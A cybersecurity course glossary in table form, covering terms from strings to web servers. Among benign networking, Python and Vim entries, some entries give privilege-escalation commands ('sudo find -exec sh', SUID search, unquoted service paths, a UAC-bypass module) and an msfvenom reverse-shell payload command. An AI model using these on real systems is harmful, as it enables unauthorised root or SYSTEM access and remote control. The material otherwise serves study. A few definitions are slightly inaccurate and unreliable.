| Strings  Python/Manipulating | A series of characters that are always surrounded by quotes. If it isn't in quotes, it isn't a string. | | 2 | | 20 |
| Strings (combining) | combining strings is called "concatenating" strings "first\_name last\_name full\_name print(full\_name)" | | 2 | | 21 |
| Strings (manipulating) | we need to escape the quote within the string that's used as an apostrophe. | | 2 | | 20 |
| Strings (placeholders) | user\_name = "Sarah" print("Hello " + user\_name + "!") | | 2 | | 22 |
| Strings (using quotes part of the code) | backslash tells our program that the character immediately following it should be interpreted as part of the string. | | 2 | | 21 |
| Strip (python) | strip both sides at the same time, we can use strip(). | | 2 | | 23 |
| Strip metadata | exiftool, pdftk, qpdf | | 3 | | 68 |
| Striping | aka RAID 0 | | 2 | | 362 |
| Striping with double parity | aka RAID 6 | | 2 | | 362 |
| Striping with parity | aka RAID 5 | | 2 | | 362 |
| Structure of SQL statement | use semi colon ; to signify the end of a statement, names of columns and tables ARE case sensitive | | 2 | | 195 |
| su (switch user - Linux) | When called without arguments, defaults to running an interactive shell as root. "su - test -> change to user test and take to user tests HOME. | | 1 | | 128 |
| subinacl.exe tool | Checking registry permissions requires the subinacl.exe tool, which is not standard, but can be downloaded from Microsoft and uploaded onto a target system. WMIC can't do it. | | 3 | | 290 |
| Subkeys | SOFTWARE subkey. Info like what programs run on startup (MRU lists) and what time they run. | | 3 | | 123 |
| Subnet | * ONLY 1 subnet is required for three machines to communicate on the same network. * Way of splitting network into segments. * An IP address actually consists of two parts. One part is the network identifier (identifies the network), and one part is the host identifier (identify the host). * The subnet mask is used by the TCP/IP protocol to determine whether a host is on the local subnet or on a remote network. | | 1 | | 265 |
| Subnet Mask  (networking 2) | If the last two bytes are the host identifier network can have 2^16 (65,536) computers connected | | 1 | | 266 |
| Subnet Mask  (networking 2) | 255.0.0.0, network identifier becomes 192 and rest is host identifier and 2^24 (16,777,216) pcs on network | | 1 | | 266 |
| Subnet Mask  (networking 2) | 255.255.255.0, network identifier becomes 192.168.0 and host identifier is 1, 254 PCs maximum on network | | 1 | | 266 |
| Subnet Mask  (networking 2) | If you need more hosts, you can have fewer networks | | 1 | | 266 |
| Subnet Mask  (networking 2) | if you need more networks, you can have fewer hosts on each one | | 1 | | 266 |
| Subnets | Provide ways to logically organize groups of systems in networks, and to enable routers to provide connectivity between these groups. This builds up into the whole internet. | | 1 | | 265 |
| sudo | Allow privileges of root to run a command and revert back to normal account levels after the command runs. | | 1 | | 128 |
| Sudo | **sudo find /etc -exec sh -i \;** to find users - you can have 'find' execute commands with the -exec parameter | | 3 | | 267 |
| Sudo - Exploit | Sudo is the command that lets a normal user run things as root if the administrator has decided they can. You should carefully pay attention to which commands are available to a user to run with elevated privileges through sudo, because some commands can be used to execute other commands. With 'find', you can have 'find' execute commands with the -exec parameter, like so: <sudo find /etc -exec sh -i \;> | | 3 | | 267 |
| sudo yum install | Package installer for Fedora | | 1 | | 206 |
| sudo yum remove | Package remove | | 1 | | 206 |
| sudo yum update <package> | Update package | | 1 | | 206 |
| Sudoers |  | | 3 | | 267 |
| Sudoers file | Configuration file which specifies who can run which commands as root | | 3 | | 312 |
| SUID | Set User ID - permission set in the program that when it runs, it can run at the privilege of the owner of the program | | 3 | | 264 |
| SUID files  (privilege escalation) | Target software that runs as root user. May be binaries with SUID or SGID permissions owned by root. | | 3 | | 264 |
| SUID set | find / -perm -4000 -user root -type f -print 2>/dev/null | | 3 | | 264 |
| SuperFetch | Attempts to determine which applications will launch and loads up the necessary files and data into memory. | | 3 | | 124 |
| Superuser (Linux) | Effectively the administrative account, usually called root | | 1 | | 127 |
| Switch | Is a device that connects computers on a network together, sits in the middle of a star network topology. Many computers can be connected to the switch, and the switch will receive all data and decide which cable to send the data through, based on which computer the information is destined for. | | 1 | | 249 |
| symlinks | In this case we are running at runlevel 5. If you now look at the files in '/etc/rc5.d/' you'll see all the software that is configured to run at runlevel 5: The programs are not actually here; they use what are called symlinks, which A symlinks or a **Symbolic Link** is simply enough a shortcut to another file. It is a file that points to another file. | | 3 | | 305 |
| Symmetric Encryption | The encryption key that is used to encrypt a message is the same encryption key that is needed to decrypt the message. (Ex. Caesar Cipher).  Symmetric encryption has the benefit of being faster than other forms of encryption, but it does suffer from a fairly serious flaw: the problem of key exchange. If you want to exchange an encrypted message with someone, you both need to know the encryption key. Symmetric encryption doesn't require as many CPU cycles as asymmetric key encryption, so can run much faster. | | 3 | | 13 |
| Symmetric encryption. | An encryption that uses the key to decrypt and encrypt a message | | 3 | | 13 |
| SYN | SYN Flag with a seq. number | | 1 | | 269 |
| Syn Scan | faster scan and stealthier | | 3 | | 88 |
| Syn scan closed port | syn rst | | 3 | | 88 |
| Syn scans open port | syn ack | | 3 | | 88 |
| SYN/ACK | SYN + ACK(SYN seq. number +1)(ACK has its own randomly generated Seq number. | | 1 | | 269 |
| Sync | Update, retry, confirmation | | 1 | | 385 |
| Synchronization Servers | Synchronize Data between one or more locations. The sync server is the centrally located computer that everyone works on and gets uploaded to each person's screen. | | 1 | | 384 |
| sys (library)  import sys | "System-specific parameters and functions", In order to allow user input to be passed via the command line at the program's run time, If you're building a program that you mostly expect people to run from a terminal, it may make sense to capture your user input this way. | | 2 | | 93 |
| Sysinfo | Displays detailed configuration information about a computer and its operating system, including operating system configuration, security information, product ID, and hardware properties (such as RAM, disk space, and network cards). | | 3 | | 231 |
| Sysprep  Stored credentials | C:\Windows\System32 subdirectories may provide store credentials from unattended installs. | | 3 | | 283 |
| SYSTEM | Highest level of privileges on a window machine. | | 3 | | 272 |
| System Tray | Shut down, reboot, access settings, show system notifications | | 1 | | 121 |
| System User (Windows) | SYSTEM user runs system services which are necessary for the OS to function. Service will always Run as this. SYSTEM account is even higher than Administrator | | 3 | | 272 |
| Systemctl | The systemctl command manages both system and service configurations, enabling administrators to manage the OS and control the status of services. Further, systemctl is useful for troubleshooting and basic performance tuning. | | 3 | | 306 |
| Systemd - Start-up: Linux | Many distributions now use systemd as the default method for running software at boot.  To view a list of installed services, you can just type <systemctl> The service files are usually located here: /lib/systemd/system/\*.service or /etc/systemd/system/\*.service | | 3 | | 306 |
| **T** |  | |  | |  |
| Tab completion  (Linux navigation) | The terminal will auto-look in the current folder knowing you mean to type 'Templates', only a folder that starts with a capital 'T'. | | 1 | | 151 |
| Table headings | are in powers of 10 (10000, 1000, 100, 10, 1) | | 1 | | 47 |
| Tabnabbing | Is a compute exploit a phishing attack, which persuades users to submit their login details and passwords to popular websites by impersonating those sites and convincing the user that the site is genuine | | 3 | | 242 |
| Tautology | An assertion or formula which is always true no matter the inputs. If you craft a logical statement that no matter the inputs is always true. | | 1 | | 78 |
| TCP (Transmission Control Protocol) | Reliable, Widely used (majority of common tasks), TCP 3-way handshake (Syn-Syn/Ack-Ack), has its own port range, can be heavy/slow. Has its own port range (0 - 65536) Port 0 is reserved, and not available for communication purposes | | 1 | | 256 |
| TCP Client (python) | Code to CREATE A SIMPLE TCP CONNECTION using SOCKET LIBRARY | | 2 | | 115 |
| TCP Client/Server | A server receives connections. | | 2 | | 116 |
| TCP Communication | Computer A sends 20 bytes of data. Computer B responds with Computer A's acknowledgment number + 15. Computer A will then resend the entire packet. | |  | |  |
| TCP Handshake | Way to make a connection between the server and the client. It is a three-step process that requires both the client and server to exchange synchronization and acknowledgment packets before the real data communication process starts. By monitoring the sequence and acknowledgment numbers, either side can tell if any data is missing and can ask for it to be re-transmitted. Syn,SYN/ACK,ACK | | 1 | | 269 |
| TCP handshake 1 | Computer A initiates the connection and sends packet with the 'SYN' flag enabled to Computer B with sequence # | | 1 | | 270 |
| TCP handshake 2 | Computer B will respond with packet 'SYN' & 'ACK' flags. A packet has new random generated sequence # +1 | | 1 | | 270 |
| TCP handshake 3 | Computer A will respond with packet 'ACK' flag, packet contains sequence # that Computer B sent, + 1. | | 1 | | 270 |
| TCP handshake 4 | Monitoring sequence and acknowledgement #'s, either side can tell if data is missing &ask for it to be re-sent. | | 1 | | 270 |
| TCP handshake 5 | In the handshake and the teardown, no data is sent (length=0), but we +1 to show we received the packet. | | 1 | | 270 |
| TCP handshake and teardown, the ACK number increases by one. | Zero bytes | |  | |  |
| TCP header | Source port, a destination port (80, or 443 usually), a sequence number, an acknowledgment number | | 1 | |  |
| TCP Packets FIN | Indicates no more data will be transmitted from the sender | | 1 | | 270 |
| TCP Packets FIN/ACK | Indicates acknowledgment of FIN packet | | 1 | | 270 |
| TCP Packets RST | Used when a graceful TCP Teardown fails | | 1 | | 271 |
| TCP port |  | | 3 | | 136 |
| TCP Server (python) SOCKETS | Receiving connections | | 2 | | 116 |
| TCP Socket | Is created to have a script to run against a network service | | 2 | | 115 |
| TCP Teardown | Uses RST in an abrupt closing of connection | | 1 | | 271 |
| TCP Teardown | A graceful teardown ends with an ACK packet. When the connection ends, this is called the teardown. The kind and Friendly way a TCP connection is torn down is by using the FIN bit in the TCP Flags. One side of the connection sends a packet with the TCP Finished bit set. The other side of the connection responds with two packets, an ACK, and a FIN of its own. This last FIN is acknowledged by the original station, indicating that the connection has been closed on both sides. "FIN/ACK->ACK-FIN/ACK->ACK | | 1 | | 270 |
| TCP teardown 1 | The computer that wants to destroy connection sends a 'fin' packet (finish) with current sequence number. | | 1 | | 271 |
| TCP teardown 2 ( | Computer B respond with 'ack' packet that contains sequence #, & acknowledgement # (Comp A) sequence# + 1 | | 1 | | 271 |
| TCP teardown 3 ( | Comp B sends 'fin/ack' packet contains sequence # & acknowledgement # (Comp A's sequence # +1 | | 1 | | 271 |
| TCP teardown 4 | Comp A responds w 'ack' packet that contains acknowledgement # (Comp B's sequence # +1 | | 1 | | 271 |
| TCP Transmission | The acknowledgement number is incremented by the number of bytes received in the transmission. Once connection is set up, data can be sent. The reason the acknowledgement number is incremented by the length of the previous packet is to say, "I received 12 bytes of data, if that wasn't correct then we have a problem, and you should re-transmit that packet". Of course, in the handshake and the teardown, no data is being sent (length=0), but we increment it by one, even so, to show we received the packet, even though it didn't contain any data. | | 1 | | 269 |
| TCP/IP Model   1. NETWORK ACCESS | combination of the data link and physical layers from the OSI model. | | 1 | | 311 |
| TCP/IP Model   1. INTERNET | responsible for routing traffic over the network | | 1 | | 311 |
| TCP/IP Model   1. TRANSPORT | direct copy of the transport layer of the OSI model | | 1 | | 311 |
| TCP/IP Model   1. Application layer | Is basically the same as the application layer in the OSI model, except it also includes the responsibilities of the presentation and session layers from the OSI model. Examples of protocols in the application layer are HTTP and FTP, basically any protocol that applications define and use. | | 1 | | 311 |
| TCP/IP Model | TCP/IP uses only the internet layer. The TCP/IP model has only four layers, but ultimately everything the OSI model covers is also covered by the TCP/IP model, it is merely the case that several layers have been joined into one in places. The layers of the TCP/IP model are:  Layer 4 - Application  Layer 3 - Transport  Layer 2 - Internet  Layer 1 - Network Access | | 1 | | 310 |
| Telegram | Telegram is difficult to block, as it uses several protocols, which it can fall back on if one method is blocked. | | 3 | | 178 |
| Template Injection | Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server. As the name suggests, server-side template injection payloads are delivered and evaluated server-side, potentially making them much more dangerous than a typical client-side template injection. | |  | |  |
| Terminal Application Icon | Occupies first position on the dock, opens CLI: most powerful way to use Linux | | 1 | | 121 |
| The users start Microsoft Word and clicks file 1 open. | Generates a software interrupt | |  | |  |
| This action will cause the updated $PATH variable change back to the original value. | Closing and reopening the terminal | |  | |  |
| This are the risks areas targeted by DDos. | Availability | |  | |  |
| This command string will display information about the “kirk:” user on a windows system. | net user kirk | |  | |  |
| Threads | thread.start\_new\_thread(handler, (client\_sock, address)) Allows for multiple connections to the server at the same time | | 2 | | 121 |
| Threat Analysis | threat analysis is a cybersecurity strategy that aims to assess an organization’s security protocols, processes and procedures to identify threats, vulnerabilities, and even gather knowledge of a potential attack before they happen. By studying various threats staged against one’s organization in detail, security teams can gain a better understanding of the level of sophistication of threats staged against the organization, the exploitation strategies, and identify areas in the organization’s security posture that may be vulnerable to these threats. | |  | |  |
| TiB | 1024 GiB | | 1 | | 45 |
| Tilde (~) | Home folder | | 1 | | 124 |
| time exceeded packet `` | ICMP Type 11, Code 0 packet | | 1 | | 300 |
| Timestamp |  | | 2 | | 250 |
| Tinyblob |  | | 2 | | 250 |
| tinyintx(x) |  | | 2 | | 249 |
| tld (networking 4) | top level domain examples: .com, .co.uk, .ca | | 1 | | 292 |
| TLD (top level domain) nameserver | The resolver then queries the provided TLD server, which will respond with the IP address of the domain's authoritative nameserver. TLD nameservers differentiate websites that end in .com, .net, and .org. | | 1 | | 350 |
| Token | A web application is configured to validate a unique token value for each submitted user request. What threat is being mitigated - cross site request forgery. | | 2 | | 279 |
| Top Command (Linux interrupts) | shows how busy the CPU is, how much memory is in use, and which processes are running (CTRL + C to quit) | | 1 | | 161 |
| Top Level Domain | Is the bit at the end of the domain name. So, for 'google.com', the TLD is 'com'. The TLD indicates which DNS server to query first. | | 1 | | 291 |
| Topologies | The way network is physically laid out is called the network 'topology'. **'star'** topology. This is where each computer in a network connects to a central point, such as a switch. "**bus"** topology, in which all computers are connected by the same Ethernet cable. At the ends of the Ethernet cable lie line terminators, which discard any data that has not been read by a computer. This topology is not very common as only one computer can communicate at any one time. | | 1 | | 248 |
| Touch (hidden files) | Use the touch command on a file that doesn't exist, it will create a file with that name, which is empty. | | 1 | | 143 |
| Traceback Error (python) | Give us additional information about what went wrong in our code. | | 2 | | 106 |
| Try-Catch Block (Python) | Can use a try-catch block to handle exceptions that we suspect might crop up in our code. | | 2 | | 106 |
| TSK/Autopsy (forensics) | The Sleuth Kit and Autopsy analyze Windows and Unix disks & file systems. | | 3 | | 125 |
| TTL | Time To Live, the number of hops the packet can travel before it is considered lost and gets discarded | | 1 | | 299 |
| Tuples | they are immutable since the content items in the list can't be changed once they are set. Tuples uses brackets in Python: stonehenge = ('51.1739726374', '-1.82237671048') | | 2 | | 37 |
| Type Conversion (python) | to concatenate a string and integer together use str() or int() or float() | | 2 | | 28 |
| Type Conversion (python) BOOL | any number that isn't a 0 will convert to a True using bool(). Even a negative number will convert to True. | | 2 | | 29 |
| Type() python | checks what type your variable is EXAMPLE: variable\_1 = '42' -> print(type(variable\_1)) = <class 'str'> | | 2 | | 18 |
| Type1 hypervisor | virtualization occurs at firmware level. This is still software, but there is no host operating system, CLOUD | | 1 | | 107 |
| Type2 hypervisor | This type of virtualization is where the virtualization is done by a software program that runs on an OS | | 1 | | 107 |
| Typed language | That means you need to tell it the 'type' of data to expect in a variable | | 2 | | 160 |
| types of servers | See book, IoT devices | | 1 | | 325 |
| Types of Storage | Size, Capacity, Mechanical Vs. Solid State | | 1 | | 28 |
| **U** |  | |  | |  |
| UAC  User Account Control | If the program needs higher privileges, you will get a pop-up asking if you want to continue running the program. UAC protects against a program performing privileged actions without the user knowing, aiming to improve the security of Microsoft Windows by limiting application software to standard user privileges until an administrator authorizes an increase or elevation. | | 3 | | 272 |
| UAC Bypassing | The easiest way to bypass UAC is simply to ask the user for permission. Over the years, users have been thoroughly trained to accept any pop-up without even reading it. There's even a Metasploit module for it: exploit/windows/local/ask. As the name suggests, all it does is trigger the UAC warning, and if the user clicks to accept, you get privileged access. | | 3 | | 274 |
| UAC Default settings | This improves windows security by notifying users of software installation. | | 2 | | 289 |
| UAC (Windows) | Assigns "tokens" to the user when they log in, all users are given a standard token to run apps with limited access. | | 2 | | 289 |
| UAC levels  (Windows) | * Always notify. * notify changes to the computer. * notify changes to the computer (do not dim desktop). * never notify. | | 2 | | 292 |
| UAC prompts  (Windows) | Standard user does not have the administrative token to pass the UAC prompt | | 2 | | 290 |
| UDP  (networking 2) | UDP does not care if the data gets to the intended party or not. | | 1 | | 273 |
| UDP  (User Datagram Protocol) | The main benefit is speed. Fast data transmission does not require a connection handshake. Does not detect if the data packet is missing, re-transmission, or corrupt. UDP has 0 - 65535 ports. Any app that uses speedy data transmission (video calls). Port 0 is reserved, and not available for communication purposes. | | 1 | | 258 |
| UDP client  (python) | socket.SOCK\_DGRAM | | 2 | | 118 |
| UDP Client/Server | No connect() method: this is because UDP doesn't have connections. With this protocol, we just send data and hope it gets to the other side. | | 2 | | 119 |
| UDP Protocol | UDP does not care if the data gets to the intended party or not. The data is sent. UDP is connectionless and therefore doesn't use sequence numbers. | | 1 | | 272 |
| UDP scan | nmap -sU | | 3 | | 90 |
| UDP server  (python) | Server\_socket = socket.socket(socket.AF\_INET, socket.SOCK\_DGRAM) | | 2 | | 119 |
| UEFI - Unified Extensible Firmware Interface | UEFI is the successor to BIOS. UEFI achieves the same functionality as BIOS, in a more versatile and secure manner. | | 1 | | 102 |
| Unattended install | Stored credentials, you may find passwords lying around on the system | | 3 | | 283 |
| Unicode | An INTERNATIONAL encoding standard for use with different languages and scripts, by which each letter, digit, or symbol is assigned a unique numeric value that applies across different platforms and programs. supports the Russian alphabet | |  | |  |
| Unquoted service - wmic | wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ | | 3 | | 284 |
| Unquoted Service Paths - Escalate | One potential method of elevating to SYSTEM if you can't bypass UAC and 'getsystem' isn't working is to look for unquoted service paths. Services are a great target for privilege escalation because they are executed as the SYSTEM user. If we are able to upload a malicious program to C:\ called Program.exe, it will get executed as SYSTEM. If we are able to put a malicious file with the right name into any one of those folders, we can get SYSTEM access. The only requirement is for our user to have permission to put files in those locations. After placing some malware to take advantage of an unquoted service path, the malware will not run immediately: The service will need to restart somehow - the best way is to wait for the computer to be rebooted or reboot it yourself. | | 3 | | 284 |
| Unquoted service paths (priv esc) | exploit/windows/local/trusted\_service\_path - requires restart before malware can run | | 3 | | 284 |
| Unquoted Service-msfvenom | msfvenom -p windows/meterpreter/reverse\_tcp -f exe LHOST=192.168.0.26 LPORT=1338 -o Application.exe | | 3 | | 286 |
| Update Systems | This will help you eliminate security vulnerabilities | | 1 | | 347 |
| USB | Universal Serial Bus used by most HID (Human Interface Devices) nowadays | | 1 | | 31 |
| USB Types | * USB/Micro/Mini A, B, and Type C. * USB 1 - Transfer Speed: 1.5 Mbit/s * USB 2 - Transfer Speed: 480 Mbit/s * USB 3 - Transfer Speed: 4.8 Gbit/s (port will be blue) * USB 3.1 - Transfer Speed: 10 Gbit/s (port will be teal). | | 1 | | 31  32  33 |
| usb-c | Provides hub capabilities to chain together large number of devices, power can be transferred | | 1 | | 35 |
| User Accounts | Default accounts: | | 2 | | 281 |
| User Agent | You could find the user agent in a GET request – HTTP protocol | | 1 | | 236 |
| User Input (python) | We should always approach user input with a healthy heaping of suspicion. | | 2 | | 87 |
| User Input \*C\* | Scanf(): can allow buffer overflow, use fgets() | | 2 | | 175 |
| User input via command line |  | | 2 | | 93 |
| Useradd | useradd -a -G mail -s /bin/bash priyab - create user priyab, give them shell /bin/bash and add to group 'mail' | | 1 | | 382 |
| Usermod | usermod -aG mail $(whoami) - adds existing user(whoami) to mail group | | 1 | | 382 |
| Users | This is the default group new standard users will be assigned to. Members of this group can perform most common tasks like running applications and using printers, although they are not able to install any new programs or make similar changes to the system. | | 2 | | 287 |
| Using a flag to stop a while loop |  | | 2 | | 75 |
| Using Break to exit a loop |  | | 2 | | 76 |
| Using Checklists | CIS benchmark/vendor checklist | | 1 | | 341 |
| Using this Linux command. sudo find /etc -exec sh -i /; | Gaining a shell with root access | |  | |  |
| **V** |  | |  | |  |
| validate server permissions | Don’t do chmod 777 | | 1 | | 340 |
| Validate the IP connectivity rules |  | | 1 | | 346 |
| Varchar | for storing strings between 1 and 255. | | 2 | | 250 |
| variable (type BOOLEAN) | True or False value in some programming languages Booleans can be 1 (true) or 0 (false) | | 2 | | 17 |
| variable (type FLOAT) | A number with a decimal point 3.14 etc. | | 2 | | 17 |
| variable (type INTEGER) | A whole number, could be positive or negative | | 2 | | 17 |
| variable (type STRING) | Strings always surrounded by quotes (single or double) | | 2 | | 17 |
| variable types | String | | 2 | | 17 |
| Variables | numbers, alphabets, underscore only | | 2 | | 16 |
| variables (assigning values) | to assign a value to a variable, we use the equals (=) operator Example: user\_text = "James was here" | | 2 | | 16 |
| variables (changing values) | Variables can be changed at any time: Example: user\_text = "Renee was here" | | 2 | | 16 |
| variables (names) | Variable names are FIXED | |  | |  |
| variables (naming) | Variable names can contain only letters, numbers, and underscores, not numbers, keep short & descriptive | | 2 | | 17 |
| variables (python) | A variable is a way of storing data in programs | | 2 | | 16 |
| variables (types) | strings, integer, float, Boolean | | 2 | | 17 |
| variables as code | Variable is placed on the stack; each function has its own stack frame | | 2 | | 179 |
| variables in c | int, float, char | | 2 | | 160 |
| vendor checklist (servers) | Vendors provide checklists you can use to secure their webservers | | 1 | | 341 |
| Version Control  Docker | Version control is implicit in containers and does not need to be configured explicitly. This makes it very efficient to update and version over time in case you need to roll back or forwards. | | 2 | | 368 |
| Version Control Systems | Powerful tools that enable you to track changes to programming projects. Look back on code at any time in the past, collaborate with other developers. Git - most prominent (GitHub). | | 2 | | 11 |
| VGA | A/V output | | 1 | | 33 |
| Viewing Directory Contents | Windows - Viewing Directory Contents The dir command is used to show files and directories in the current directory. The command also shows the last modification date and time, as well as the file size. By default, dir does not show hidden files and folders. To do this we need to add a switch to the command, we'll use the /A switch which is used to set file attributes to display. | | 2 | | 303 |
| Vim | :x or :wq - write and quit | | 1 | | 179 |
| Vim | guu : Change current line from upper to lower. | | 1 | | 179 |
| Vim | gUU : Change current LINE from lower to upper. | | 1 | | 179 |
| Vim | guw : Change to end of current WORD from upper to lower. | | 1 | | 179 |
| Vim | guaw : Change all of current WORD to lower. | | 1 | | 179 |
| Vim | gUw : Change to end of current WORD from lower to upper. | | 1 | | 179 |
| Vim | gUaw : Change all of current WORD to upper. | | 1 | | 179 |
| Vim | g~~ : Invert case to entire line | | 1 | | 179 |
| Vim | g~w : Invert case to current WORD | | 1 | | 179 |
| Vim | guG : Change to lowercase until the end of document. | | 1 | | 179 |
| Vim | gU) : Change until end of sentence to upper case | | 1 | | 179 |
| Vim | gu} : Change to end of paragraph to lower case | | 1 | | 179 |
| Vim | gU5j : Change 5 lines below to upper case | | 1 | | 179 |
| Vim | gu3k : Change 3 lines above to lower case | | 1 | | 179 |
| Vim | ga : display ASCII, hex and octal of a char | | 1 | | 179 |
| vim - exit insert mode | exit from INSERT mode by hitting CTRL + C. | | 1 | | 181 |
| vim – insert | You need to be in 'insert' mode by hitting 'i' on your keyboard to start editing or creating a file | | 1 | | 181 |
| vim :q | quits vim, unsaved changes will error | | 1 | | 182 |
| vim :q! | force quit vim | | 1 | | 182 |
| vim :x | save and quit vim | | 1 | | 182 |
| vim (Linux commands) | text editor in Linux | | 1 | | 180 |
| vim: wq | save and quit vim | | 1 | | 182 |
| virtual machines (containers) | More isolated than a container, can run diverse OS's side by side, heavier than container & less portable | | 3 | | 365 |
| virtualization | * We create a virtual computer or 'virtual machine' out of software that behaves like a separate computer * All the hardware components of that virtual machine are actually software * The software that is the virtual machine uses the hardware resources of the computer it is running on * A hypervisor creates a thin layer that breaks the relationship between an operating system and the hardware | | 1 | | 104 |
| Virtualization | * Enables multiple sets of operating systems to share that hardware. * Large proportion of the internet runs on virtualized servers (the cloud). * In security - virtualization offers separation as the applications running in the guest operating system cannot interfere with the host operating system (ex. malware analysis). * In development - Many programmers make use of virtual machines to test their programs in different environments (OS). | | 1 | | 104 |
| Virtualization | * Breaks the 1:1 relationship of OS and hardware. * Create a 'virtual machine' out of software that behaves like a separate computer. * All the hardware components of that virtual machine are actually software. | | 1 | | 104 |
| virtualization uses | virtualization offers huge efficiency improvements for large-scale applications. | | 1 | | 109 |
| virtualization uses development | Many programmers make use of virtual machines to test their programs in different environments. | | 1 | | 109 |
| virtualization uses security | To use multiple operating systems all at once | | 1 | | 109 |
| virtualization uses security | If you do malware analysis, disable all VM communication methods, such as the virtual network adapter. | | 1 | | 109 |
| Vmware tools |  | | 2 | | 267 |
| Volatile data (forensics) | Volatile data is lost when the computer is turned off, located in MEMORY | | 3 | | 132 |
| Volatility | Provides advanced Memory forensics used in incident response and forensics | | 3 | | 133 |
| Volatility | Data stored in RAM exists only temporarily. This tool is used to perform live analysis on a host’s RAM | | 1 | | 27 |
| Volatility | It is commonly used in both incident response and forensics. It is used to analyze memory dumps from 32-bit and 64-bit systems on Linux, Windows, Mac, and Android systems. It can analyze virtual memory dumps, virtual box dumps, raw dumps, crash dumps and many more. It provides more advanced memory forensic capabilities, such as investigating running processes and carving data out of memory, parsing MFT's enabling examiners to extract files from within it. It can also be used with Python. Volatility is intended to aid in investigations and to introduce people to the techniques required to extract digital artifacts from volatile memory dumps. It DOES NOT have acquisition capabilities. The command pstree when used with Volatility will show you the parent-process relationships. The command volatility -f memdump.mem imageinfo shows you the recommended operating system volatility has identified. This can then be used with the -profile= switch to further investigate the memory dump. | | 3 | | 133 |
| volatility -f mem.dump imageinfo | =--profile | | 3 | | 134 |
| Volatility commands | volatility -f memdump.mem imageinfo DISPLAYS OPERATING SYSTEM INFO | | 3 | | 133 |
| Volatility DUMPFILES | Extracts FILE-OBJECTS from memory | | 3 | | 134 |
| Volatility FILESCAN | Scans memory for FILE\_OBJECT handles | | 3 | | 134 |
| Volatility PSLIST | Shows high-level view of running processes | | 3 | | 134 |
| Volatility PSSCAN | Scans memory for EPROCESS blocks | | 3 | | 134 |
| Volatility PSTREE | Displays parent-process relationships | | 3 | | 134 |
| Vulnerability - found within a business website. | You can go public after the patch was released | |  | |  |
| Vulnerability Scanner | Used to test Web applications. | |  | |  |
| Vulnerability Scanners | Scanners work by crawling all the pages on a site and making an index of them, then going to each site and attempting multiple web application attacks against every form of user input on the site. If it sees behavior that makes it think the attack worked, then it lists the flaw. Once the whole application is scanned, you get a report. Here are a few things to watch out for when using scanners:  1. Make sure you know what the scanner is about to do.  2. Make sure you've configured your scanner to log into the site if that is what is required.  3. Make sure you tell your scanner what to avoid!  4. Watch out for captcha (those annoying 'can you type what is in this image to prove you are human' questions)  5. Read the scanner's log files to make sure it is working in a sensible manner. Scanners are noisy; they will produce a LOT of logs. To an extent, it's part of the normal background noise of the internet, but it's also an indication someone is about to attack. Pay attention to your logging and monitoring, and when you do notice a scanner running make sure to stay on a higher level of alertness. | | 3 | | 179 |
| Vulnerability scanners (identification) | Scanners crawl all pages on a site create index, then attempt multiple attacks on every form of user input on the site | | 3 | | 224 |
| Vulnerability scanners (mitigation) | Pay attention to logs and monitoring, | | 3 | | 225 |
| Vulnerability within the FTP Service. | Buffer Overflow | |  | |  |
| **W** |  | |  | |  |
| w' - WRITE (python) | Tells python to WRITE to a file | | 2 | | 113 |
| WAF  Web Application Firewall | Web application firewall. Intercepts suspicious requests that look like attacks and prevent them from reaching web application | | 3 | | 180 |
| WANS | Wide area network | | 1 | | 247 |
| Ways to perform privilege escalation. | Exploiting Services, Exploiting the Kernel, SUID Files | |  | |  |
| Weak Folder Permissions | The idea here is to find a service which has an executable in a folder that you are allowed to modify. By replacing the executable with malware, and then causing the service to restart we can cause the malware to run as SYSTEM. | | 3 | | 294 |
| Weak Registry Permissions - Escalate | In this section we will continue to target services because they run as the SYSTEM user. Every service on Windows has a matching registry key, which holds all the information about the path to the service executable, and the other settings associated with that service. If the permissions on the registry entry are weak, any user could change the path to point to an executable in a different location. | | 3 | | 289 |
| Wear levelling (SSD) | Constantly moves files around to prevent certain sections of the disk from wearing out through overuse | | 3 | | 121 |
| web analytics | measures user activity, such as how long they are on the website, where they go, how long it takes to get there and whether they came from a link or not | | 1 | | 335 |
| Web Application - Exploiting | If you ever exploit a piece of software, no matter what it is, you will always have the same permissions as the software that you exploited. | | 3 | | 219 |
| web attack |  | | 3 | | 242 |
| Web jacking | illegally seeking control of a website by taking over a domain is known as Web Jacking. In web jacking attack method hackers’ compromises with the domain name system (DNS) that resolves website URL to IP address, but the actual website is never touched. | | 3 | | 242 |
| web root | Contains files needed to run the website. | | 1 | | 234 |
| Web Server | A web server can be a piece of software, or hardware dedicated to running server Software. Web servers help in configuration of devices. Can be used for administering or monitoring devices through web browser. Most used - Apache and Nginx and IIS. Web servers are designed to take files or data and present them to a user over protocols such as HTTP. A web server is just an application that listens to the network on a specific set of ports and speaks a specific set of protocols. Applications running on operating system. although it is normal for web servers to require slightly higher permissions to bind to ports like80. On most operating systems lower ports below 1024 require elevated permissions to bind. | | 1 | | 329 |
| Web Server - Analytics | Analytics tend to be calculated and logged remotely. This means there is another server elsewhere that is storing all this information. Data is collected about the system, application, and users’ interactions to be used for this purpose. Tells how many connections are being received and potentially where they originate. | | 1 | | 335 |
| Web Server checklist (servers) | Check default configuration, validate permissions, disable banner/versioning | | 1 | | 341 |
| Web Server client side (servers) | Device used to connect to the website | | 1 | | 333 |
| Web Server conf defaults Nginx | Usually unencrypted but modern servers’ default conf is pretty good | | 1 | | 339 |
| Web Server security (servers) | Patching your system and being careful with configuration | | 1 | | 332 |
| Web Server Side (servers) | Computation happens at server level using PHP, JavaScript, Python, JAVA, Perl, ASP, Ruby, Go | | 1 | | 334 |
| web servers | A web server will send HTML back to the browser, which will use that HTML to render the web page. There are two main types of web servers. The first is the generic web server: these are multi-purpose applications that serve files that exist in a certain folder on the operating system. The second type is the custom web server: these are typically programs that are purpose-built to serve a particular site.HTML back to the browser, which will use that HTML to render the web page. | | 1 | | 234 |
| web servers (custom) | They grant more freedom than generic web servers. Custom web servers are purpose-built programs designed to run one specific site. Instead of serving files directly out of a folder, the routes usually need to be programmed into the software. In other words, the code of the web server will define what happens when a user tries to access a certain path or route. The code may say, if the user is browsing to '/help', then send this HTML as a response, for example. | | 1 | | 234 |
